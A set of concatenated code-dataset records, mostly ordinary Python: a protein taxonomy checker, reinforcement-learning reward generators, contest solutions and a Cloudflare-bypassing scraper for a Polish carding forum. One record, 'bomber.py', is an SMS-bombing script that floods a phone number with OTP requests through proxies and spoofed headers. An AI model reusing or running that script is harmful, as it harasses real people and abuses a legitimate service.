optparse.OptionParser()\n p.add_option('-r', '--ref', help='Fasta file with validated reference protein sequences. [None, REQ]')\n p.add_option('-q', '--queries', help='Fasta file with query protein sequences. [None, REQ]')\n p.add_option('-o', '--out', help='Base string for output files. [None, REQ]')\n p.add_option('-k', '--kmer', type='int', default=4, help='Kmer size. [4]')\n p.add_option('-t', '--thresh', type='float', default=0.2, help='Minimum proportion of shared kmers for a protein to be considered a potential member of one of the refernce taxa. [0.2]')\n p.add_option('-c', '--cat', default=\"sp\", help='Taxon category of interest. Must be one of these: \"str\", \"sp\", \"gen\", \"fam\" [sp]')\n opts, args = p.parse_args()\n \n refD = read_fasta_dict_upper(opts.ref) #Read in reference seqs\n refTaxKmersD = kmersByTaxon(refD, opts) #Arrange by taxon level of interest and generate kmers\n \n queD = read_fasta_dict_upper(opts.queries) #Read in query seqs\n putAssign = checkQueries(queD, refTaxKmersD, opts) #Compare queries to references\n checkAssign(putAssign, queD, opts)\n#----------------------End of main()\n\ndef checkAssign(putAssign, queD, opts):\n goodNames=[]\n goodSeqs=[]\n badNames=[]\n badSeqs=[]\n \n with open(\"%s_good.txt\" % opts.out, \"w\") as foutGood, open(\"%s_bad.txt\" % opts.out, \"w\") as foutBad:\n foutGood.write(\"ProtName\\tProtLength\\tID\\tBestMatch\\tProp%dmers\\n\" % opts.kmer)\n# foutGood.write(\"ProtName\\tProtLength\\tMatchID\\tBestMatch\\tBestProp%dmers\\tProtID\\tBestProtIDMatch\\tProp%dmers\" % opts.kmer)\n foutBad.write(\"ProtName\\tProtLength\\tProtID\\tMatchID\\tBestMatch\\tProp%dmers\\n\" % opts.kmer)\n for matchID, info in putAssign.items():\n for name, other in info.items():\n prop, rN = other\n thisID = parseTax(name, opts.cat)\n if thisID == matchID:\n foutGood.write(\"%s\\t%d\\t%s\\t%s\\t%.3f\\n\" % (name, len(queD[name]), thisID, rN, prop))\n goodNames.append(name)\n goodSeqs.append(queD[name])\n else:\n foutBad.write(\"%s\\t%d\\t%s\\t%s\\t%s\\t%.3f\\n\" % (name, len(queD[name]), thisID, matchID, rN, prop))\n badNames.append(name)\n badSeqs.append(queD[name])\n if goodNames:\n write_fasta(goodNames, goodSeqs, \"%s_good.fasta\" % (opts.out))\n if badNames:\n write_fasta(badNames, badSeqs, \"%s_bad.fasta\" % (opts.out))\n\n\ndef checkQueries(queD, refTaxKmersD, opts):\n outNames=[]\n outSeqs=[]\n with open(\"%s_missed.txt\" % opts.out, \"w\") as foutMissed:\n foutMissed.write(\"ProtName\\tProtLength\\tProtID\\tBestMatch\\tProp%dmers\\n\" % opts.kmer)\n putAssign = {x:{} for x in refTaxKmersD}\n for name, seq in queD.items():\n bestHits = {x:[0,\"\"] for x in refTaxKmersD}\n ks = kmers(seq, opts.kmer)\n for cat, info in refTaxKmersD.items():\n for rN, rK in info.items():\n ovlp = compPairKs(ks,rK)\n if ovlp>bestHits[cat][0]:\n bestHits[cat] = [ovlp,rN]\n maxVal, maxName, maxTax = findMax(bestHits)\n if maxVal>=opts.thresh:\n putAssign[maxTax][name] = [maxVal, maxName]\n else: #Check to see if seqs without good matches are assigned to focal taxa\n thisID = parseTax(name, opts.cat)\n if thisID in refTaxKmersD:\n foutMissed.write(\"%s\\t%d\\t%s\\t%s\\t%.3f\\n\" % (name, len(queD[name]), thisID, maxName, maxVal))\n outNames.append(name)\n outSeqs.append(queD[name])\n if outNames:\n write_fasta(outNames, outSeqs, \"%s_missed.fasta\" % (opts.out))\n return putAssign\n\ndef findMax(hitD):\n mx = 0\n info=[0, \"\", \"\"]\n for t, i in hitD.items():\n if i[0]>mx:\n mx=i[0]\n info=[i[0],i[1],t]\n return info\n\ndef compPairKs(aK,bK):\n ovlp = aK.intersection(bK)\n if len(aK)<=len(bK):\n return len(ovlp)/len(aK)\n else:\n return len(ovlp)/len(bK)\n\n\ndef kmersByTaxon(refD, opts):\n kD = {}\n for name, seq in refD.items():\n id = parseTax(name, opts.cat)\n if id not in kD:\n kD[id]={}\n kD[id][name] = kmers(seq, opts.kmer)\n return kD\n\ndef kmers(seq,k, step=1):\n out=[]\n for i in range(0, len(seq)-k+1, step):\n thisK = seq[i:i+k]\n if \"X\" not in thisK.upper():\n out.append(thisK)\n return set(out)\n\ndef parseTax(name, category):\n catD = {\"str\":1,\"sp\":2,\"gen\":3,\"fam\":4}\n oxpat = re.compile(\"OXX=(\\d*),(\\d*),(\\d*),(\\d*)\")\n tax_id = oxpat.search(name)\n if tax_id:\n return tax_id.group(catD[category])\n else:\n #print(name)\n return None\n\ndef read_fasta_dict_upper(file):\n names, seqs = read_fasta_lists(file)\n seqs = [x.upper() for x in seqs]\n fasta_dict = dict(zip(names, seqs))\n return fasta_dict\n\n\ndef read_fasta_lists(file):\n fin = open(file, 'r')\n count=0\n \n names=[]\n seqs=[]\n seq=''\n for line in fin:\n line=line.strip()\n if line and line[0] == '>': #indicates the name of the sequence\n count+=1\n names.append(line[1:])\n if count>1:\n seqs.append(seq)\n seq=''\n else: seq +=line\n seqs.append(seq)\n \n return names, seqs\n\n#writes a new fasta file\ndef write_fasta(names, seqs, new_filename):\n fout=open(new_filename, 'w')\n for i in range(len(names)):\n fout.write(\">%s\\n%s\\n\" % (names[i], seqs[i]))\n fout.close()\n\n\n###------------------------------------->>>> \n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"LadnerLab/PepSIRF","sub_path":"extensions/checkTaxonomy.py","file_name":"checkTaxonomy.py","file_ext":"py","file_size_in_byte":6031,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"25083366513","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport gevent.monkey\n\ngevent.monkey.patch_all()\n\n\n\n\n#debug = True\n#loglevel = 'debug'\nbind = '127.0.0.1:5000'\n#pidfile = 'log/gunicorn.pid'\n#logfile = 'log/debug.log'\n#errorlog = 'log/error.log'\n#accesslog = 'log/access.log'\n\n# 启动的进程数\nworkers = 17\nworker_class = 'gevent'\n\nmax_requests=100\n\n\n\nx_forwarded_for_header = 'X-FORWARDED-FOR'\n\n","repo_name":"gcyangxin/Flask-trainning","sub_path":"weibo2/gun.py","file_name":"gun.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4234335903","text":"import re\nimport uuid\nfrom datetime import datetime\n\nimport dateparser\nfrom scrapy import Request\nfrom scraper.base_scrapper import (\n SitemapSpider,\n SiteMapScrapper\n)\n\n\nclass DarkMoneySpider(SitemapSpider):\n name = \"darkmoney.pl\"\n\n # Url stuffs\n base_url = \"https://darkmoney.pl/\"\n translate_to_eng_url = base_url + \"?langid=1\"\n\n # Xpath stuffs\n forum_xpath = '//tbody[contains(@id,\"collapseobj_forum\")]/tr/td[1]/div/a/@href'\n thread_xpath = '//tbody[contains(@id,\"threadbits\")]/tr'\n thread_first_page_xpath = './/td[contains(@id,\"td_threadtitle\")]//a[contains(@id, \"thread_title\")]/@href'\n thread_last_page_xpath = './/td[contains(@id,\"td_threadtitle\")]//span[contains(@class,\"smallfont\")]/a[last()]/@href'\n\n thread_date_xpath = './/span[@class=\"time\"]/preceding-sibling::text()'\n\n pagination_xpath = '//a[@rel=\"next\"]/@href'\n thread_pagination_xpath = '//a[@rel=\"prev\"]/@href'\n thread_page_xpath = '//div[@class=\"pagenav\"]//span/strong/text()'\n\n post_date_xpath = '//table[contains(@id, \"post\")]//td[@class=\"thead\"][1]' \\\n '/a[contains(@name,\"post\")]' \\\n '/following-sibling::text()[1]'\n avatar_xpath = '//div[@id=\"posts\"]//tr[@valign=\"top\"]/td[1]//a[contains(@rel, \"nofollow\")]/img/@src'\n\n # Regex stuffs\n topic_pattern = re.compile(\n r\".-(\\d+).\",\n re.IGNORECASE\n )\n avatar_name_pattern = re.compile(\n r\".dateline=(\\d+).\",\n re.IGNORECASE\n )\n\n # Other settings\n use_proxy = \"VIP\"\n use_cloudflare_v2_bypass = True\n post_datetime_format = '%d-%m-%Y, %H:%M'\n sitemap_datetime_format = '%d-%m-%Y'\n\n def start_requests(self):\n # Temporary action to start spider\n yield Request(\n url=self.temp_url,\n headers=self.headers,\n callback=self.pass_cloudflare\n )\n\n def pass_cloudflare(self, response):\n # Load cookies and ip\n cookies, ip = self.get_cloudflare_cookies(\n base_url=self.base_url,\n proxy=True,\n fraud_check=True\n )\n\n yield Request(\n url=self.base_url,\n headers=self.headers,\n meta={\n \"cookiejar\": uuid.uuid1().hex,\n \"ip\": ip\n },\n cookies=cookies,\n errback=self.check_site_error,\n callback=self.change_language_to_english\n )\n\n def change_language_to_english(self, response):\n self.synchronize_headers(response)\n yield Request(\n url=self.translate_to_eng_url,\n headers=self.headers,\n meta=self.synchronize_meta(response),\n errback=self.check_site_error\n )\n\n def parse_thread(self, response):\n # Save generic thread\n yield from super().parse_thread(response)\n\n # Save avatars\n yield from self.parse_avatars(response)\n\n def check_bypass_success(self, browser):\n return bool(\n browser.current_url.startswith(self.base_url) and\n browser.find_elements_by_xpath(\n '//tbody[contains(@id,\"collapseobj_forum\")]/tr/td[1]/div/a'\n )\n )\n\n def parse_thread_date(self, thread_date):\n \"\"\"\n :param thread_date: str => thread date as string\n :return: datetime => thread date as datetime converted from string,\n using class sitemap_datetime_format\n \"\"\"\n try:\n return datetime.strptime(\n thread_date.strip(),\n self.sitemap_datetime_format\n )\n except:\n return dateparser.parse(thread_date).replace(tzinfo=None)\n\n def get_topic_id(self, url=None):\n \"\"\"\n :param url: str => thread url\n :return: str => extracted topic id from thread url\n \"\"\"\n try:\n return self.topic_pattern.findall(url)[-1]\n except Exception as err:\n return\n\nclass DarkMoneyScrapper(SiteMapScrapper):\n spider_class = DarkMoneySpider\n site_name = 'darkmoney.pl'\n site_type = 'forum'\n\n def load_settings(self):\n settings = super().load_settings()\n settings.update(\n {\n \"RETRY_HTTP_CODES\": [500, 502, 503, 504, 522, 524, 406, 408, 429],\n }\n )\n return settings\n","repo_name":"ken2190/Enterprise-Forum-Scraper","sub_path":"scraper/darkmoney.py","file_name":"darkmoney.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25701816408","text":"from models import Conv2DEmbedding, DiscreteActionPredictor, OneHotForwardModelResiduals\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom stable_baselines3.common.buffers import ReplayBufferSamples\nfrom stable_baselines3.common.running_mean_std import RunningMeanStd\n\nfrom abc import abstractmethod\nfrom typing import Dict, List, Callable\n\nclass RewardGenerator(torch.nn.Module):\n def __init__(self, device, state_shape, num_actions, reward_decay: float=0.99, use_dones: bool=True):\n super().__init__()\n \n self.reward_decay = reward_decay\n self.use_dones = use_dones\n self.device = device\n \n def generate_data(self, samples: ReplayBufferSamples):\n dones = samples.dones if self.use_dones else torch.zeros(samples.dones.shape, device=self.device)\n rewards = self.generate_rewards(samples)\n return rewards, dones, self.reward_decay\n \n @abstractmethod\n def generate_rewards(self, samples: ReplayBufferSamples) -> torch.Tensor:\n pass\n \n def update(self, samples: ReplayBufferSamples) -> Dict[str, float]:\n \"\"\"\n Updates the reward generator using the samples from the environment.\n Returns a dictionary of metrics that measure the training progress.\n \"\"\"\n return {}\n\nclass MixedRewardGenerator(RewardGenerator):\n def __init__(self,\n device,\n state_shape,\n num_actions,\n generators: Dict[str, RewardGenerator],\n weights: Dict[str, float],\n reward_decay: float=0.99,\n use_dones: bool=True\n ):\n super().__init__(device, state_shape, num_actions, reward_decay=reward_decay, use_dones=use_dones)\n self.generators = generators\n self.weights = weights\n \n def generate_rewards(self, samples: ReplayBufferSamples) -> torch.Tensor:\n keys = list(self.generators.keys())\n total_rewards = self.generators[keys[0]].generate_rewards(samples) * self.weights[keys[0]]\n for key in keys[1:]:\n total_rewards += self.generators[key].generate_rewards(samples) * self.weights[key]\n return total_rewards\n \n def update(self, samples: ReplayBufferSamples) -> Dict[str, float]:\n \"\"\"\n Updates the reward generator using the samples from the environment.\n Returns a dictionary of metrics that measure the training progress.\n \"\"\"\n metrics = {}\n for name, source in self.generators.items():\n local_metrics = source.update(samples)\n metrics.update({f\"{name}.{key}\" : value for key, value in local_metrics.items()})\n return metrics\n \n @staticmethod\n def from_config(\n device,\n state_shape,\n num_actions,\n generators: Dict[str, Callable],\n weights: Dict[str, float],\n reward_decay: float=0.99,\n use_dones: bool=True\n ):\n \"\"\"\n Method for instantiating a MixedRewardGenerator from a hydra config.\n All elements of the generator dict have to be marked _partial_, so that we can pass additional initilization arguments at runtime.\n \"\"\"\n generators = {key : source(device, state_shape, num_actions) for key, source in generators.items()}\n return MixedRewardGenerator(device, state_shape, num_actions, generators, weights, reward_decay, use_dones)\n\nclass ExtrinsicRewardGenerator(RewardGenerator):\n def __init__(self, device, state_shape, num_actions, reward_decay: float=0.99, use_dones: bool=True):\n super().__init__(device, state_shape, num_actions, reward_decay=reward_decay, use_dones=use_dones)\n \n def generate_rewards(self, samples: ReplayBufferSamples) -> torch.Tensor:\n return samples.rewards\n\nclass CuriosityRewardGenerator(RewardGenerator):\n def __init__(self,\n device, \n state_shape,\n num_actions,\n embedding_size = 128,\n learning_rate=0.0003,\n reward_decay: float=0.99,\n use_dones: bool=True\n ):\n super().__init__(device, state_shape, num_actions, reward_decay=reward_decay, use_dones=use_dones)\n \n self.embedding_net = Conv2DEmbedding(state_shape, embedding_size).to(self.device)\n self.forward_model = OneHotForwardModelResiduals(embedding_size, 512, num_actions).to(self.device)\n self.inverse_forward_model = DiscreteActionPredictor(embedding_size, num_actions).to(self.device)\n \n self.reward_estimation = 0\n self.reward_moments = RunningMeanStd()\n \n self.optimizer = torch.optim.Adam([\n *self.forward_model.parameters(),\n *self.inverse_forward_model.parameters(),\n *self.embedding_net.parameters()\n ], lr=learning_rate, eps=1e-4)\n \n @torch.inference_mode()\n def generate_rewards(self, samples: ReplayBufferSamples) -> torch.Tensor:\n # Compute reward\n state_embeddings = self.embedding_net(samples.observations)\n next_state_embeddings = self.embedding_net(samples.next_observations)\n next_state_predictions = self.forward_model(state_embeddings, samples.actions)\n rewards = torch.mean((next_state_predictions - next_state_embeddings) ** 2, dim=-1, keepdim=True)\n \n # Normalize\n reward_ts = np.empty(rewards.shape)\n for i, r in enumerate(rewards.cpu().numpy()):\n self.reward_estimation = 0.99 * self.reward_estimation + r\n reward_ts[i] = self.reward_estimation\n self.reward_moments.update(reward_ts)\n \n return rewards / np.sqrt(self.reward_moments.var[0])\n \n def update(self, samples: ReplayBufferSamples) -> Dict[str, float]:\n \"\"\"\n Updates the reward generator using the samples from the environment.\n Returns a dictionary of metrics that measure the training progress.\n \"\"\"\n # Compute loss\n state_embeddings = self.embedding_net(samples.observations)\n next_state_embeddings = self.embedding_net(samples.next_observations)\n \n fm_loss = self.forward_model.compute_loss(state_embeddings.detach(), samples.actions, next_state_embeddings.detach())\n inverse_fm_loss = self.inverse_forward_model.compute_loss(state_embeddings, next_state_embeddings, samples.actions)\n loss = inverse_fm_loss + fm_loss\n \n # Update\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n \n return {\n \"fm_loss\": fm_loss.cpu().item(),\n \"inverse_fm_loss\": inverse_fm_loss.cpu().item()\n }\n \nclass RNDRewardGenerator(RewardGenerator):\n def __init__(self,\n device,\n state_shape,\n num_actions,\n embedding_size=128,\n learning_rate=0.0003,\n reward_decay: float=0.99,\n use_dones: bool=True,\n use_reward_norm=True,\n use_obs_norm=True\n ):\n super().__init__(device, state_shape, num_actions, reward_decay=reward_decay, use_dones=use_dones)\n \n self.use_reward_norm = use_reward_norm\n self.use_obs_norm = use_obs_norm\n \n self.random_net = Conv2DEmbedding(state_shape, embedding_size, use_batch_norm=False).to(self.device)\n self.predictor_net = Conv2DEmbedding(state_shape, embedding_size, use_batch_norm=False).to(self.device)\n self.optimizer = torch.optim.Adam(self.predictor_net.parameters(), lr=learning_rate, eps=1e-4)\n \n if self.use_reward_norm:\n self.reward_estimation = 0\n self.reward_moments = RunningMeanStd()\n if self.use_obs_norm:\n self.obs_moments = RunningMeanStd(shape=state_shape)\n \n @torch.inference_mode()\n def generate_rewards(self, samples: ReplayBufferSamples) -> torch.Tensor:\n # Normalize observations\n next_observations = samples.next_observations\n if self.use_obs_norm:\n self.obs_moments.update(next_observations.cpu().numpy())\n next_observations = ((next_observations - torch.from_numpy(self.obs_moments.mean).to(self.device)) / torch.from_numpy(np.sqrt(self.obs_moments.var)).to(self.device)).clip(-5, 5)\n \n # Compute rewards\n random_embedding = self.random_net(samples.next_observations)\n embedding_prediction = self.predictor_net(samples.next_observations)\n rewards = torch.mean((random_embedding - embedding_prediction) ** 2, dim=-1)\n \n # Normalize rewards\n if self.use_reward_norm:\n reward_ts = np.empty(rewards.shape)\n for i, r in enumerate(rewards):\n self.reward_estimation = 0.99 * self.reward_estimation + r\n reward_ts[i] = self.reward_estimation\n self.reward_moments.update(reward_ts)\n rewards = rewards / np.sqrt(self.reward_moments.var)\n \n return rewards\n \n def update(self, samples: ReplayBufferSamples) -> Dict[str, float]:\n next_observations = samples.next_observations\n if self.use_obs_norm:\n next_observations = ((next_observations - torch.from_numpy(self.obs_moments.mean).to(self.device)) / torch.from_numpy(np.sqrt(self.obs_moments.var)).to(self.device)).clip(-5, 5)\n \n # Do not train random network\n with torch.no_grad():\n random_embedding = self.random_net(samples.next_observations)\n embedding_prediction = self.predictor_net(samples.next_observations)\n \n distillation_loss = F.mse_loss(embedding_prediction, random_embedding)\n self.optimizer.zero_grad()\n distillation_loss.backward()\n self.optimizer.step()\n \n return {\n \"distillation_loss\": distillation_loss\n }\n","repo_name":"CommanderCero/Multivation","sub_path":"rewards.py","file_name":"rewards.py","file_ext":"py","file_size_in_byte":9777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23565956471","text":"\r\n\r\ndef check(l):\r\n j = len(l)\r\n\r\n for i in range(len(l) - 1):\r\n if l[i] > l[i + 1]:\r\n j = i\r\n break\r\n\r\n for i in range(len(l)):\r\n if i + j + 1 >= len(l):\r\n break\r\n\r\n l[i + j + 1] = 9\r\n\r\n return l, j\r\n\r\n\r\ndef solve(N):\r\n l = list(map(int, str(N)))\r\n\r\n l, j = check(l)\r\n while j < len(l):\r\n i = 0\r\n while j - i >= 0:\r\n l[j - i] -= 1\r\n if l[j - i] == -1:\r\n l[j - i] = 9\r\n i += 1\r\n else:\r\n break\r\n\r\n l, j = check(l)\r\n\r\n return int(''.join(map(str, l)))\r\n\r\n\r\nif __name__ == '__main__':\r\n import fileinput\r\n f = fileinput.input()\r\n T = int(f.readline())\r\n for i in range(1, T + 1):\r\n N = int(f.readline())\r\n print(\"Case #{}: {}\".format(i, solve(N)))\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/975.py","file_name":"975.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5204290795","text":"#/usr/bin/env python\r\n#-*- coding:utf-8 -*-\r\nimport os\r\n\r\nimport xlrd as xlrd\r\n\r\npaths = os.path.dirname(os.path.realpath(__file__))\r\nprint(paths+'\\\\text.txt')\r\nf = open(paths+'\\\\text.txt','r')\r\nd = f.readlines()\r\nprint(d[0])\r\n\r\nfiles = xlrd.open_workbook('D:\\\\python\\\\text.xlsx')\r\ntable =files.sheet_by_index(0)\r\nprint( table.cell_value(0,0),table.cell_value(0,1))\r\n","repo_name":"liuweihai/python","sub_path":"file_operation.py","file_name":"file_operation.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74999604355","text":"import requests\nimport time\n\ndef bombus(number):\n r=requests.session()\n url=\"https://www..com/Personalization/SendOTP?mobile={}&phoneCode=91&OTPSource=SIGNIN\".format(number)\n proxy={'http':'45.7.231.86','http':'66.42.107.87:8080','http':'68.183.99.96:8080'}\n headers={\"Host\":\"www.redbus.in\",\n \"Connection\": \"close\",\n \"Origin\": \"https://smsbomber.biz\",\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux 64) AppleWebKit/547.36 (KHTML, like Gecko) Chrome/70.0.3383.203 Safari/337.35\",\n \"DNT\": \"1\",\n \"Accept\": \"*/*\",\n \"Referer\": \"https://smsbomber.biz/bomb.php\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7\",\n \"Cookie\": \"jfpj=b538ab3ac87701158bde432b134e431d; country=IND; currency=INR; selectedCurrency=INR; language=en; deviceSessionId=c7352b25-7107-43f2-af58-12e747m85edd; lzFlag=1; bCore=1; defaultCountry=IND\"}\n print(r.get(url,headers=headers,proxies=proxy).text)\n\ndef kill(number):\n for i in range(101):\n try:\n bombus(number)\n time.sleep(10)\n except:\n pass\n","repo_name":"geek-repo/Telegram-bot","sub_path":"bomber.py","file_name":"bomber.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"5483359463","text":"import re\n\ninput_file = open(r'C:\\Users\\brlw\\Desktop\\Repositories\\AdventOfCode\\2020\\input\\input16.txt', 'r')\ncontent = input_file.readlines()\n\nfield_pattern = re.compile(r'(\\D+):')\nrule_pattern = re.compile(r' (\\d+-\\d+)(?: |\\n)')\n\nvalid_nums = []\nfield_rules = []\nfor line in content[:20]:\n rules = rule_pattern.findall(line)\n field_name = field_pattern.findall(line)[0]\n field_nums = []\n for rule in rules:\n start, end = [int(x) for x in rule.split('-')]\n [valid_nums.append(x) for x in range(start, end+1)]\n [field_nums.append(x) for x in range(start, end+1)]\n field_rules.append([field_name, field_nums])\n\n# print(field_rules[-1])\ninvalid_sum = 0\nfor line in content[25:]:\n ticket_nums = [int(x) for x in line.split(',')]\n invalid_nums = [x for x in ticket_nums if x not in valid_nums]\n invalid_sum += sum(invalid_nums)\n if len(invalid_nums):\n content.remove(line)\n\nfield_guesses = [[x] for x in range(len(field_rules))]\nfor field_rule in field_rules:\n for position in range(0, 20):\n field_match = True\n for line in content[25:]:\n field_num = int(line.split(',')[position])\n if field_num not in field_rule[1]:\n field_match = False\n if field_match:\n field_guesses[position].append(field_rule[0])\n\nprint(f'Sum of invalid values = {invalid_sum}')\n[print(x) for x in field_guesses]\ninput_file.close()\n","repo_name":"blindawson/AdventOfCode","sub_path":"2020/src/aoc16.py","file_name":"aoc16.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29970413319","text":"import numpy as np\r\nimport scipy.io.wavfile\r\nfrom scipy import signal\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef convolution(h, x):\r\n\tresult0 = np.zeros( (h.shape[0] + x.shape[0] - 1) ) \r\n\tresult1 = np.zeros( (h.shape[0] + x.shape[0] - 1) )\r\n\tn = h.shape[0]\r\n\tend = len(x)\r\n\tfor k in range(0, n):\r\n\t\tresult0[k:(k+end)] += h[k, 0] * x[:, 0]\r\n\t\tresult1[k:(k+end)] += h[k, 1] * x[:, 1]\r\n\r\n\tresult = np.stack( (result0, result1), axis=0 )\r\n\tresult = result.T\r\n\treturn result\r\n\r\n\r\ninp_sample_rate, inp = scipy.io.wavfile.read('input.wav')\r\nh1_sample_rate, h1 = scipy.io.wavfile.read('h1.wav')\r\nh2_sample_rate, h2 = scipy.io.wavfile.read('h2.wav')\r\nh3_sample_rate, h3 = scipy.io.wavfile.read('h3.wav')\r\n\r\n\r\ny1 = convolution(1.0*h1, 1.0*inp)\r\ny2 = convolution(1.0*h2, 1.0*inp)\r\ny3 = convolution(1.0*h3, 1.0*inp)\r\n\r\ny1_max = np.amax(y1)\r\ny1 = y1 / y1_max\r\n\r\ny2_max = np.amax(y2)\r\ny2 = y2 / y2_max\r\n\r\ny3_max = np.amax(y3)\r\ny3 = y3 / y3_max\r\n\r\nrate = inp_sample_rate\r\n\r\nscipy.io.wavfile.write(\"y1.wav\", rate, y1)\r\nscipy.io.wavfile.write(\"y2.wav\", rate, y2)\r\nscipy.io.wavfile.write(\"y3.wav\", rate, y3)\r\n","repo_name":"alitolga/Convolution-Examples","sub_path":"ConvolutionExample2.py","file_name":"ConvolutionExample2.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16684524774","text":"\n\nimport tensorflow as tf\nimport numpy as np\nfrom collections import namedtuple\n\nfrom .datasets import bus_width\n\n\nTask = namedtuple('Task', ['expected_fn', 'output_width'])\n\ndef one_hot_sum(a,b):\n\ta_int = tf.argmax(a, -1)\n\tb_int = tf.argmax(b, -1)\n\n\tc_int = a_int + b_int\n\n\treturn tf.one_hot(c_int, bus_width)\n\ndef batch_dot(a,b):\n\tv = tf.multiply(a,b)\n\treturn tf.reduce_sum(v, -1, keepdims=True)\n\ndef almost_equal(a,b):\n\tdelta = tf.abs(a - b)\n\treturn tf.cast(tf.less_equal(delta, 0.001), tf.float32)\n\ntasks = {\n\t\"reduce_sum\": \t\tTask(lambda a, b: tf.reduce_sum(tf.concat([a, b], -1), -1, keepdims=True), 1),\n\t\"reduce_max\": \t\tTask(lambda a, b: tf.reduce_max(tf.concat([a, b], -1), -1, keepdims=True), 1),\n\t\"concat\":\t\t\tTask(lambda a, b: tf.concat([a,b], -1), bus_width*2),\n\t\"dot\":\t\t\t\tTask(batch_dot, 1),\n\t\"elementwise_mul\": Task(lambda a, b: tf.multiply(a, b), bus_width),\n\t\"one_hot_sum\":\t\tTask(one_hot_sum, bus_width),\n\t\"elementwise_add\": Task(lambda a, b: tf.add(a, b), bus_width),\n\t\"equality\": \tTask(lambda a, b: tf.cast(tf.equal(a, b), tf.float32), bus_width),\n\t\"almost_equal\":\t\tTask(almost_equal, bus_width),\n\t\"logical_and\": \tTask(lambda a, b: tf.cast(tf.logical_and(tf.cast(a, tf.bool), tf.cast(b, tf.bool)), tf.float32), bus_width),\n\t\"logical_or\": \t\tTask(lambda a, b: tf.cast(tf.logical_or( tf.cast(a, tf.bool), tf.cast(b, tf.bool)), tf.float32), bus_width),\n\t\"logical_xor\": \tTask(lambda a, b: tf.cast(tf.logical_xor(tf.cast(a, tf.bool), tf.cast(b, tf.bool)), tf.float32), bus_width),\n}\n","repo_name":"Octavian-ai/reasoning-operations","sub_path":"src/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"70047924036","text":"import torch\nimport torch.nn.functional as F\n\n\ndef test_img(net_g, dataset, test_indices, local_test_bs, device):\n net_g.eval()\n # testing\n test_loss = 0\n correct = 0\n data_loader = dataset.load_test_dataset(test_indices, local_test_bs)\n for idx, (data, target) in enumerate(data_loader):\n data = data.detach().clone().type(torch.FloatTensor)\n if device != torch.device('cpu'):\n data, target = data.to(device), target.to(device)\n log_probs = net_g(data)\n # sum up batch loss\n test_loss += F.cross_entropy(log_probs, target, reduction='sum')\n # get the index of the max log-probability\n y_pred = log_probs.data.max(1, keepdim=True)[1]\n correct += y_pred.eq(target.data.view_as(y_pred)).long().cpu().sum()\n\n test_loss /= len(data_loader.dataset)\n accuracy = 100.00 * correct / len(data_loader.dataset)\n return accuracy, test_loss\n","repo_name":"xuchenhao001/FLModelSelect","sub_path":"federated-learning/models/Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25795124378","text":"from typing import List, Optional, Sequence, Set, Union\n\nfrom pydantic import Field, root_validator, validator\n\nfrom panoramic.cli.husky.common.enum import EnumHelper\nfrom panoramic.cli.husky.core.pydantic.model import PydanticModel, non_empty_str\nfrom panoramic.cli.husky.core.taxonomy.enums import (\n AggregationType,\n TaxonOrderType,\n TaxonTypeEnum,\n)\n\n\nclass AggregationParamsCountDistinct(PydanticModel):\n \"\"\"Parameters for count distinct aggregation (requiring list of non-empty strings)\"\"\"\n\n relevant_fields: List[str] = Field([], alias='fields')\n \"\"\"List of non-empty strings is supported\"\"\"\n\n _validate_non_empty_fields = validator('relevant_fields', each_item=True, allow_reuse=True)(non_empty_str)\n\n def __repr__(self):\n relevant_fields = ', '.join(f\"'{field}'\" for field in self.relevant_fields)\n return f'AggregationParamsCountDistinct(relevant_fields=[{relevant_fields}])'\n\n def used_taxon_slugs(self) -> Set[str]:\n \"\"\"\n Container with used taxon for the params\n \"\"\"\n return set(self.relevant_fields)\n\n\nclass AggregationOrderByTaxon(PydanticModel):\n \"\"\"Substructure representing a taxon for order by clause\"\"\"\n\n taxon: str\n order_by: Optional[TaxonOrderType]\n\n _validate_nonempty_taxon = validator('taxon', allow_reuse=True)(non_empty_str)\n\n def __repr__(self):\n order_by = f'TaxonOrderType.{self.order_by.value}' if self.order_by else 'None'\n return f'AggregationOrderByTaxon(taxon={self.taxon}, order_by={order_by})'\n\n\nclass AggregationParamsSortDimension(PydanticModel):\n \"\"\"Parameters for aggregations which require sort dimension taxons\"\"\"\n\n sort_dimensions: List[AggregationOrderByTaxon]\n \"\"\"Taxon slugs for \"order by\" clause of the window function\"\"\"\n\n def __repr__(self):\n repr_dimensions = [repr(dim) for dim in self.sort_dimensions]\n return f'AggregationParamsSortDimension(sort_dimensions=[{\", \".join(repr_dimensions)}])'\n\n def used_taxon_slugs(self) -> 